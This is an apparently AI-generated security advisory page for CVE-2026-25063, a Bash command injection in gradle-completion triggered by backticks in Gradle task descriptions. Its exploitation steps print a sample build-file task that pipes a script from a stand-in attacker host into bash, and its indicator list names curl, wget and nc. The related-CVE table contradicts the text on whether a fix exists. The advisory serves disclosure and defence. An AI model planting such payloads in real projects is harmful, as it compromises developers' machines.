CVE-2026-25063
Gradle vulnerability analysis and mitigation

Overview

CVE-2026-25063 is a Bash command injection vulnerability in gradle-completion, a tool providing Bash and Zsh tab completion support for Gradle. The flaw affects all versions up to and including 9.3.0 and allows arbitrary code execution when a user triggers Bash tab completion in a directory containing a malicious Gradle build file. It was disclosed on January 29, 2026, with a patch released in version 9.3.1. The vulnerability carries a CVSS v3.1 score of 7.8 (High) and a CVSS v4.0 score of 8.3 (High) (GitHub Advisory, Red Hat).

Technical details

The root cause is improper neutralization of special elements in OS commands (CWE-78) combined with failure to sanitize paired delimiters such as backticks (CWE-157). The vulnerable gradle-completion Bash script uses unquoted command substitution (e.g., $(...)) when processing Gradle task names and descriptions read from the build file output, meaning any backtick-enclosed string in a task description is evaluated as a shell command during tab completion. The fix (commit ecacc32) replaces unsafe word-splitting constructs with readarray -t and tightens regex patterns to exclude forbidden Gradle characters, ensuring task names and descriptions are never subject to shell evaluation (GitHub Advisory, Fix Commit). The vulnerability does not affect Zsh completion.

Impact

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the user who triggers Bash tab completion, without the user explicitly running any Gradle task. This results in high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify system data, or disrupt system operations. The attack is local in scope but can be weaponized via a malicious Gradle build file committed to a shared repository, making it a supply-chain-style threat in developer environments (GitHub Advisory, Feedly).

Exploitability

No public proof-of-concept exploit or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The EPSS score is approximately 0.0013 (0.13%), indicating low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged local attacker who can place or influence a Gradle build file in a directory where the victim runs tab completion.

Exploitation steps

  1. Craft a malicious Gradle build file: Create or modify a build.gradle or build.gradle.kts file to include a Gradle task whose description contains a backtick-enclosed shell command, e.g.:
task malicious(description: "`curl http://attacker.com/shell.sh | bash`") {
}
  1. Deliver the malicious build file: Place the file in a shared repository, a cloned project directory, or any directory the victim developer is likely to work in (e.g., via a pull request or a compromised dependency).
  2. Wait for victim to trigger tab completion: When the victim navigates to the project directory and types gradle <TAB> in Bash, the gradle-completion script executes Gradle to enumerate tasks and their descriptions.
  3. Command injection executes: The backtick expression in the task description is evaluated by Bash during the completion process, executing the attacker's payload with the victim's user privileges — without the victim running any Gradle task explicitly (GitHub Advisory).

Indicators of compromise

  • Process: Unexpected child processes spawned from the Bash shell during tab completion (e.g., curl, wget, nc, python, /bin/sh) without a corresponding explicit user command.
  • Network: Outbound connections from a developer workstation to unknown external IPs or domains initiated at the time of Bash tab completion activity.
  • File System: Unexpected new files (scripts, binaries, cron jobs) created in the user's home directory or /tmp around the time of Gradle tab completion usage; modified .bashrc or .bash_profile files.
  • Logs: Shell history (~/.bash_history) showing gradle tab completion attempts followed by anomalous command execution; audit logs (if enabled) showing process creation events from the Bash completion subsystem.

Mitigation and workarounds

Upgrade gradle-completion to version 9.3.1 or later, which contains the fix that prevents shell evaluation of task names and descriptions (GitHub Advisory, Fix Commit). As a temporary workaround, disable Bash completion for Gradle by removing the gradle-completion source line from .bashrc or .bash_profile. Zsh users are not affected and do not need to take action. In shared or CI/CD environments, enforce the use of gradle-completion 9.3.1+ and audit Gradle build files from untrusted sources before use.

Community reactions

The vulnerability was reported by security researcher Enrico2, with remediation developed by reinsch82 and reviewed by eskatos, coordinated by appsecgaborgradle under the GitHub Security Advisory program (GitHub Advisory). Red Hat acknowledged the CVE and published a tracking entry (Red Hat). Tenable added detection support via Nessus plugin 297268. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database entries.

Additional resources


SourceThis report was generated using AI

Related Gradle vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2025-27148HIGH8.8
  • Gradle logoGradle
  • cpe:2.3:a:gradle:gradle
NoYesFeb 25, 2025
CVE-2026-22865HIGH8.6
  • Gradle logoGradle
  • gradle
NoYesJan 16, 2026
CVE-2026-22816HIGH8.6
  • Gradle logoGradle
  • gradle-9
NoYesJan 16, 2026
CVE-2026-25063HIGH8.3
  • Gradle logoGradle
  • gradle-completion
NoNoJan 29, 2026
CVE-2023-42445MEDIUM5.3
  • Gradle logoGradle
  • gradle
NoYesOct 06, 2023

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management